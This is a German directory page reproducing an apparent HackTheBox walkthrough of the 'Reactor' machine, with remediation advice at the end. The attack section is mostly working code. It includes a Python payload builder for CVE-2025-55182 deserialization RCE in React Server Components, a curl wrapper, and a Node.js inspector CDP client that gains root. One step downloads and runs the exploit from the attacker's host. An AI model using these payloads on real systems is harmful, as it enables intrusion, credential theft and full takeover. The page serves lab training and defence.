Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
HTB-Reactor-Linux-Machine-Walkthrough — Kompletter Walkthrough der HTB-Maschine Reactor – CVE-2025-55182 ausnutzen, um eine Shell zu erlangen, dann Root über einen exponierten Node.js-Debugger erlangen. Schritt für Schritt mit Screenshots. | Kitploit
Tools/GitHubGitHub/sonnycroco/htb-reactor-linux-machine-walkthrough
Privilege EscalationAufklärungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPost-ExploitationCTFPenetrationstestsLernen & Bildung

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Remote-Access-Tool
Labs & Praxis
GitHubsonnycroco/htb-reactor-linux-machine-walkthrough

HTB-Reactor-Linux-Machine-Walkthrough

Kompletter Walkthrough der HTB-Maschine Reactor – CVE-2025-55182 ausnutzen, um eine Shell zu erlangen, dann Root über einen exponierten Node.js-Debugger erlangen. Schritt für Schritt mit Screenshots.

Repository anzeigen
11vor 2 MonatenNoch nicht geprüft

HTB: Reactor

Difficulty OS Status CVE CVSS


[!CAUTION] Spoilerwarnung. Dies ist ein vollständiger Walkthrough inklusive Flags. Wenn du die Maschine selbst lösen willst, schließe dieses Dokument jetzt und komm zurück, wenn du feststeckst.


Maschineninfo

FeldDetails
NameReactor
BetriebssystemUbuntu 24.04 LTS (Noble)
SchwierigkeitMittel
CVECVE-2025-55182 (CVSS 10.0)
Ports22 (SSH), 3000 (Next.js)
Autorsonnycroco

Übersicht

Reactor dreht sich thematisch um ein Überwachungs-Dashboard für ein Kernkraftwerk namens ReactorWatch. Bei der Box geht es ausschließlich um zwei miteinander verkettete Schwachstellen – kein Raten, keine Sackgassen, keine Brute-Force-Angriffe.

Der Weg: Ein Pre-Release-Build von React 19 weist einen kritischen Deserialisierungsfehler auf, der dir mit einer einzigen HTTP-Anfrage nicht authentifizierte Remote-Codeausführung verschafft. Von dort aus verschafft dir ein als Root laufender Node.js-Debugging-Port über eine WebSocket-Nachricht vollen Systemzugriff.

Angriffskette:

root@kitploit:~
Unauthenticated HTTP POST
        │
        │  CVE-2025-55182 - React RSC multipart deserialization
        ▼
  RCE as node (uid=999)
        │
        │  Root Node.js process with --inspect exposed on localhost
        ▼
  CDP Runtime.evaluate -> RCE as root (uid=0)
        │
        ├── user.txt ✓
        └── root.txt ✓

Inhaltsverzeichnis

  1. Schritt 1: Recon
  2. Schritt 2: Fingerprinting des Tech-Stacks
  3. Schritt 3: Ausnutzen von CVE-2025-55182 (Nicht authentifizierte RCE)
  4. Schritt 4: Herumstöbern als node
  5. Schritt 5: User-Flag
  6. Schritt 6: Privilegieneskalation
  7. Schritt 7: Root-Flag
  8. Erkenntnisse
  9. Behebung

Schritt 1: Recon

Das Erste, was man bei jeder neuen Maschine tut, ist herauszufinden, welche Dienste laufen. Ein vollständiger Portscan mit Service-Erkennung, damit nichts übersehen wird.

root@kitploit:~
nmap -sV -sC -T4 -p- --min-rate 5000 10.129.8.56
root@kitploit:~
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
3000/tcp open  http    Next.js 15.0.3

Nmap-Scanergebnisse, die die offenen Ports 22 und 3000 mit Next.js-Fingerprinting zeigen

Nur zwei Ports. SSH ist in dieser Phase eine Sackgasse, da wir noch keine Zugangsdaten haben. Port 3000 ist das Ziel. Nmap verrät uns bereits, dass es sich um Next.js 15.0.3 handelt – ein vielversprechender Ansatzpunkt.


Schritt 2: Fingerprinting des Tech-Stacks

Bevor ich Exploits auf irgendetwas loslasse, will ich die genaue Version von allem wissen, was läuft. Die HTTP-Header haben bereits Next.js verraten, aber die React-Version ist das entscheidende Detail. React 19 war lange als Pre-Release verfügbar und hatte vor dem stabilen Release einige ernsthafte Probleme.

Ich lade eines der clientseitigen JavaScript-Chunks zur Überprüfung herunter:

root@kitploit:~
curl -s http://10.129.8.56:3000/_next/static/chunks/517-d083b552e04dead1.js \
  | grep -oP '[0-9]+\.[0-9]+\.[0-9]+-rc-[a-z0-9-]+'
root@kitploit:~
19.0.0-rc-66855b96-20241106

Das rc im Versionsstring ist der entscheidende Hinweis. Es handelt sich um einen Release-Candidate-Build von React 19, nicht um die stabile Version. CVE-Datenbanken bestätigen: CVE-2025-55182 betrifft genau diesen Build. CVSS 10.0.

Da ich schon dabei bin, prüfe ich die Header auf Hinweise zur Middleware:

root@kitploit:~
X-Powered-By: Next.js
x-nextjs-cache: HIT
x-nextjs-prerender: 1

Es gibt keinen x-middleware-rewrite-Header, was bedeutet, dass keine Next.js-Middleware installiert ist. Das schließt CVE-2025-29927 (den Middleware-Bypass) aus – erwähnenswert, damit du keine Zeit damit verschwendest.

Was wir wissen:

  • Next.js 15.0.3 mit aktiviertem experimental.serverActions
  • React 19.0.0-rc, anfällig für CVE-2025-55182
  • App-Name: ReactorWatch (Sensor-Dashboard für Kernreaktoren)
  • Keine Middleware, der Middleware-Bypass-CVE greift hier also nicht

Technologie-Fingerprinting, das React 19.0.0-rc erkennt und CVE-2025-55182 identifiziert


Schritt 3: Ausnutzen von CVE-2025-55182 (Nicht authentifizierte RCE)

Worin die Schwachstelle besteht

Die Server Components von React 19 führten Server Actions ein – serverseitige Funktionen, die vom Client per HTTP-POST mit einem Next-Action-Header aufgerufen werden können. Der Multipart-Body-Parser, der diese Anfragen verarbeitet, hat einen kritischen Fehler: Er deserialisiert unsicher einen Referenztyp namens $1:__proto__:then.

Indem ein Angreifer einen Multipart-Body konstruiert, der _response._prefix auf beliebiges JavaScript setzt, wird dieser Code auf dem Server ausgewertet. Die Ausgabe wird anschließend über eine Exception, die Next.js intern für Redirects verwendet (NEXT_REDIRECT), herausgeschmuggelt und landet URL-kodiert im x-action-redirect-Antwortheader.

Jeder POST an jede Seite mit dem Next-Action-Header löst das aus. Keine Authentifizierungsprüfung, kein spezieller Endpunkt. Sende das Payload einfach an / und du bist drin.

Den Exploit bauen

Ein kleines Python-Hilfsprogramm, das einen Shell-Befehl als Eingabe nimmt, das Multipart-Payload baut und auf die Festplatte schreibt, damit curl es senden kann:

make_rce.py – Payload-Builder
root@kitploit:~
# /tmp/make_rce.py
import sys

cmd = ' '.join(sys.argv[1:])
cmd_esc = cmd.replace("\\", "\\\\").replace("'", "\\'")

payload = (
    b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
    b'Content-Disposition: form-data; name="0"\r\n\r\n'
    + ('{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
       '"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":'
       '"var res=process.mainModule.require(\'child_process\').execSync(\''
       + cmd_esc +
       '\').toString().trim();;throw Object.assign(new Error(\'NEXT_REDIRECT\'),'
       '{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2",'
       '"_formData":{"get":"$1:constructor:constructor"}}}').encode('utf-8')
    + b'\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
    b'Content-Disposition: form-data; name="1"\r\n\r\n'
    b'"$@0"\r\n'
    b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
    b'Content-Disposition: form-data; name="2"\r\n\r\n'
    b'[]\r\n'
    b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad--'
)
with open('/tmp/rce_payload.bin', 'wb') as f:
    f.write(payload)

Alles wird in eine Shell-Funktion gepackt, für das Gefühl einer Pseudo-Shell:

root@kitploit:~
rce() {
  python3 /tmp/make_rce.py "$*" > /dev/null
  curl -s -D /tmp/rh.txt -X POST "http://10.129.8.56:3000/" \
    -H "Next-Action: x" \
    -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
    --data-binary "@/tmp/rce_payload.bin" > /dev/null
  grep -oP 'x-action-redirect: /login\?a=\K[^;]+' /tmp/rh.txt \
    | python3 -c "import sys,urllib.parse; print(urllib.parse.unquote(sys.stdin.read().strip()))"
}

Der rohe HTTP-Austausch. Die Befehlsausgabe steht direkt im Redirect-Header:

root@kitploit:~
POST / HTTP/1.1
Host: 10.129.8.56:3000
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad

[... multipart body ...]

HTTP/1.1 303 See Other
x-action-redirect: /login?a=uid=999(node) gid=988(node) groups=988(node);push

Ausführen

root@kitploit:~
rce "id"
# uid=999(node) gid=988(node) groups=988(node)

Wir sind als Dienstkonto node drin. Keine Authentifizierung, keine Brute-Force, kein Social Engineering. Nur ein einziger HTTP-POST. So sieht ein CVSS 10.0 in der Praxis aus.

Rohe HTTP-Exploit-Anfrage und -Antwort für CVE-2025-55182 mit sichtbarer Befehlsausgabe im Redirect-Header

[!WARNING] Zwei Dinge, die du wissen solltest, bevor du weitermachst:

  • execSync ist synchron und blockiert den Antwort-Thread. Versuche nicht, damit eine Reverse Shell zu starten – nutze stattdessen das asynchrone exec(), sonst hängt der Server.
  • Das NEXT_REDIRECT-Template-Literal bricht bei Zeilenumbrüchen. Leite mehrzeilige Ausgaben immer durch paste -sd,, um sie zu glätten, bevor sie in die URL gelangen.

Schritt 4: Herumstöbern als node

Nachdem die Codeausführung steht, ist das nächste Ziel, die Umgebung zu verstehen: Was befindet sich auf dieser Box, welche Zugangsdaten liegen herum und gibt es einen offensichtlichen Weg zu einem Benutzer mit höheren Rechten?

Prüfen der App-Konfiguration

root@kitploit:~
rce "cat /opt/reactor-app/.env | paste -sd,"
root@kitploit:~
DB_PATH=/opt/reactor-app/reactor.db
SENSOR_API_KEY=rw_sk_7f8a9b2c3d4e5f6g7h8i9j0k
NODE_ENV=production

Es gibt eine SQLite-Datenbank auf der Platte. Ich prüfe, was darin steckt:

root@kitploit:~
rce "sqlite3 /opt/reactor-app/reactor.db 'SELECT * FROM users' | paste -sd,"
root@kitploit:~
1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|[email protected]

Ein Admin-Konto mit einem MD5-Hash. John mit rockyou knackt ihn nicht. Das ist in Ordnung – das Knacken von Hashes erweist sich als unnötig, sobald wir den eigentlichen Weg zur Privilegieneskalation finden. Ich lege das beiseite und mache weiter.

Benutzer und Home-Verzeichnisse prüfen

root@kitploit:~
rce "cat /etc/passwd | grep -v nologin | grep -v false | paste -sd,"
root@kitploit:~
root:x:0:0:root:/root:/bin/bash
engineer:x:1000:1000:engineer:/home/engineer:/bin/bash

Es gibt einen Benutzer namens engineer. Das User-Flag liegt in dessen Home-Verzeichnis.

[!NOTE] Bei manchen Instanzen dieser Maschine hat /home/engineer/ die Berechtigung 700, d. h. das Dienstkonto node kann es nicht direkt lesen. Falls das bei dir so ist: Keine Panik. Der Root-Privesc-Pfad aus Schritt 6 ermöglicht es dir, beide Flags als Root zu lesen.


Schritt 5: User-Flag

root@kitploit:~
rce "cat /home/engineer/user.txt"
root@kitploit:~
f7b714f9fdf5c08a5f240668792aa13f

Falls /home/engineer/ bei deiner Instanz abgesperrt ist, springe zu Schritt 6 und hole dir beide Flags als Root.


Schritt 6: Privilegieneskalation

Den Weg zu Root finden

Nachdem der erste Fuß in der Tür steht, prüfe ich, welche Prozesse auf der Maschine laufen. Das vollständige ps aux ist lang, also filtere ich nach allem, was mit Node.js zu tun hat:

root@kitploit:~
rce "ps aux | grep -E 'inspect|node' | paste -sd,"
root@kitploit:~
node    1415  next-server (v15.0.3)
root    1417  /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js

Da ist es. Ein zweiter Node.js-Prozess, der als root läuft und mit dem --inspect-Flag an 127.0.0.1:9229 gebunden ist. Das ist ein Uptime-Überwachungsskript, das jemand mit aktiviertem Node.js-Debugger gestartet und einfach hat laufen lassen.

Warum uns das Root verschafft

Das --inspect-Flag öffnet das Chrome-DevTools-Protokoll (CDP) – dasselbe Protokoll, das auch die Entwicklertools deines Browsers verwenden. Wenn du dich damit verbindest, kannst du den Prozess anweisen, beliebiges JavaScript in seinem eigenen V8-Kontext auszuwerten. Da dieser Prozess als Root läuft, wird auch alles, was du auswertest, als Root ausgeführt.

Die einzige Hürde ist, dass der Debugger an localhost gebunden ist, aber wir haben bereits eine Codeausführung auf der Box als node, also können wir ihn ohne Probleme erreichen.

Ich bestätige, dass der Debugger läuft, und hole die WebSocket-URL:

root@kitploit:~
rce "curl -s http://127.0.0.1:9229/json | paste -sd,"
root@kitploit:~
[{
  "description": "node.js instance",
  "id": "1d85ee80-b525-4bdc-91c4-f52f7054294f",
  "title": "/opt/uptime-monitor/worker.js",
  "type": "node",
  "webSocketDebuggerUrl": "ws://127.0.0.1:9229/1d85ee80-b525-4bdc-91c4-f52f7054294f"
}]

[!IMPORTANT] Die UUID in der WebSocket-URL (1d85ee80-...) ist pro Prozessinstanz eindeutig. Deine wird anders sein. Kopiere sie aus deiner JSON-Ausgabe und aktualisiere sie im Exploit-Skript, bevor du es ausführst.

ps-aux-Ausgabe mit dem Root-Node.js-Inspect-Prozess und der WebSocket-Debugger-URL vom JSON-Endpunkt

Den CDP-Exploit schreiben

Um einen Runtime.evaluate-Befehl an den Inspector zu senden, brauchen wir einen WebSocket-Client. Das npm-Paket ws ist nicht auf dem Zielsystem vorhanden, also schreibe ich einen minimalen Client von Grund auf, der nur Node.js-Bordmittel nutzt: net für die TCP-Verbindung und crypto für das Maskieren der WebSocket-Frames.

inspector_exploit.js – WebSocket-CDP-Client ohne Abhängigkeiten
root@kitploit:~
const net = require('net');
const crypto = require('crypto');

// Update WS_ID to match your instance's UUID from /json
const WS_ID = '1d85ee80-b525-4bdc-91c4-f52f7054294f';
const CMD = 'process.mainModule.require("child_process").execSync("cat /root/root.txt").toString()';

function encodeFrame(data) {
  const payload = Buffer.from(data, 'utf8');
  const mask = crypto.randomBytes(4);
  let headerLen = (payload.length < 126) ? 6 : 8;
  const header = Buffer.alloc(headerLen);
  header[0] = 0x81;
  if (payload.length < 126) {
    header[1] = 0x80 | payload.length;
    mask.copy(header, 2);
  } else {
    header[1] = 0xfe;
    header.writeUInt16BE(payload.length, 2);
    mask.copy(header, 4);
  }
  const masked = Buffer.alloc(payload.length);
  const maskStart = headerLen - 4;
  for (let i = 0; i < payload.length; i++) {
    masked[i] = payload[i] ^ header[maskStart + (i % 4)];
  }
  return Buffer.concat([header, masked]);
}

const sock = net.createConnection({ port: 9229, host: '127.0.0.1' });
let upgraded = false, chunks = Buffer.alloc(0);

sock.on('connect', () => {
  sock.write(
    `GET /${WS_ID} HTTP/1.1\r\n` +
    `Host: 127.0.0.1:9229\r\n` +
    `Upgrade: websocket\r\n` +
    `Connection: Upgrade\r\n` +
    `Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n` +
    `Sec-WebSocket-Version: 13\r\n\r\n`
  );
});

sock.on('data', (data) => {
  chunks = Buffer.concat([chunks, data]);
  if (!upgraded) {
    const str = chunks.toString('utf8');
    const sep = str.indexOf('\r\n\r\n');
    if (sep === -1) return;
    upgraded = true;
    chunks = chunks.slice(Buffer.byteLength(str.slice(0, sep + 4)));
    const msg = JSON.stringify({
      id: 1,
      method: 'Runtime.evaluate',
      params: { expression: CMD, returnByValue: true }
    });
    sock.write(encodeFrame(msg));
    return;
  }
  while (chunks.length > 2) {
    const b1 = chunks[1] & 0x7f;
    let payloadStart, payloadLen;
    if (b1 < 126) { payloadLen = b1; payloadStart = 2; }
    else { if (chunks.length < 4) return; payloadLen = chunks.readUInt16BE(2); payloadStart = 4; }
    if (chunks.length < payloadStart + payloadLen) return;
    process.stdout.write(chunks.slice(payloadStart, payloadStart + payloadLen).toString() + '\n');
    sock.destroy();
    process.exit(0);
  }
});

sock.on('error', (e) => { process.stderr.write(e.message + '\n'); process.exit(1); });
setTimeout(() => { process.stderr.write('timeout\n'); process.exit(1); }, 8000);

[!WARNING] Innerhalb eines CDP-Runtime.evaluate-Aufrufs ist die einfache require()-Funktion nicht im globalen Scope, auch wenn worker.js selbst ein CommonJS-Modul ist. Du musst process.mainModule.require(...) verwenden. Die Verwendung von nacktem require() wirft einen ReferenceError und erzeugt keine Ausgabe.

Den Exploit ausliefern und ausführen

Das Skript von der Angriffsmaschine aus bereitstellen:

root@kitploit:~
python3 -m http.server 8080 --directory /tmp/www &

Herunterladen und Ausführen auf dem Zielsystem über die RCE-Kette:

root@kitploit:~
rce "curl -s http://<YOUR_IP>:8080/exploit.js -o /tmp/exploit.js && echo ok"
rce "node /tmp/exploit.js 2>&1 | paste -sd,"

Antwort:

root@kitploit:~
{"id":1,"result":{"result":{"type":"string","value":"uid=0(root) gid=0(root) groups=0(root)\n"}}}

Wir werten beliebiges JavaScript in einem Prozess aus, der als uid=0 läuft.

CDP-Runtime.evaluate-Antwort, die uid=0 und Codeausführung als Root bestätigt


Schritt 7: Root-Flag

Derselbe Exploit, anderer Befehl in CMD:

root@kitploit:~
rce "node /tmp/exploit_root.js 2>&1 | paste -sd,"
root@kitploit:~
{"id":1,"result":{"result":{"type":"string","value":"5c091a1960eb124c53910c1a1f456334\n"}}}
root@kitploit:~
root.txt: 5c091a1960eb124c53910c1a1f456334

Beide Flags erbeutet, user.txt und root.txt, Maschine vollständig geknackt

Gesamtzeit vom ersten Request bis zu Root: unter 10 Minuten, sobald man die CVE verstanden hat. Keine Brute-Force, kein Passwortknacken, keine Sackgassen.


Erkenntnisse

1. Gehe nicht davon aus, dass sich Next.js-CVEs stapeln

CVE-2025-29927 (Middleware-Bypass) war zur gleichen Zeit im Trend wie CVE-2025-55182. Überprüfe immer, ob Middleware tatsächlich vorhanden ist, bevor du deren Bypass testest. Das Vorhandensein oder Fehlen des x-middleware-rewrite-Antwortheaders verrät es dir sofort. Dem falschen CVE hinterherzujagen kostet leicht viel Zeit.

2. execSync zerstört Reverse Shells

Es blockiert den gesamten Antwort-Thread des Servers, bis der Subprozess beendet ist. Das Starten einer bash -i- oder Netcat-Shell darüber lässt beide Seiten hängen. Nutze stattdessen das asynchrone exec() aus child_process, wenn du aus diesem Exploit eine interaktive Shell brauchst.

3. Mehrzeilige Ausgaben vor der Exfiltration glätten

Die Befehlsausgabe wird in ein JavaScript-Template-Literal eingebettet: NEXT_REDIRECT;push;/login?a=${res};307;. Jeder wörtliche Zeilenumbruch in res bricht das Template-Literal und liefert nichts zurück. Leite vor der Exfiltration alles durch paste -sd,, um die Zeilen zu verbinden.

4. require ist im CDP-Kontext nicht global

Wenn du Runtime.evaluate an einen Node.js-Inspector sendest, führst du Code in einer V8-Isolate aus, die die CommonJS-require-Funktion nicht global bereitstellt – selbst wenn der Zielprozess selbst ein CommonJS-Modul ist. Verwende in CDP-Ausdrücken immer process.mainModule.require("module").

5. Die Berechtigungen des Home-Verzeichnisses variieren je nach Instanz

Bei manchen Instanzen dieser Maschine kann das Dienstkonto node /home/engineer/user.txt direkt lesen. Bei anderen blockieren 700-Berechtigungen auf dem Home-Verzeichnis den Zugriff. Der Root-Privesc-Pfad funktioniert immer und liefert dir auf jeden Fall beide Flags.


Behebung


Tool herunterladen
SchwachstelleBehebung
CVE-2025-55182Aktualisiere React von 19.0.0-rc auf das stabile React-19-Release. Aktualisiere Next.js auf Version 15.2.3 oder höher.
Node.js --inspect als RootEntferne --inspect vollständig aus allen Produktionsprozessen. Binde den Inspector auf geteilten Systemen niemals an eine Adresse, nicht einmal an 127.0.0.1. Nutze für das Debugging eine dedizierte, isolierte Umgebung.
SQLite-DB im AnwendungsverzeichnisVerschiebe die Datenbank aus dem Web-Root-Verzeichnis. Schränke die Dateisystemberechtigungen so ein, dass der Web-Prozess nur auf das zugreifen kann, was er unbedingt benötigt.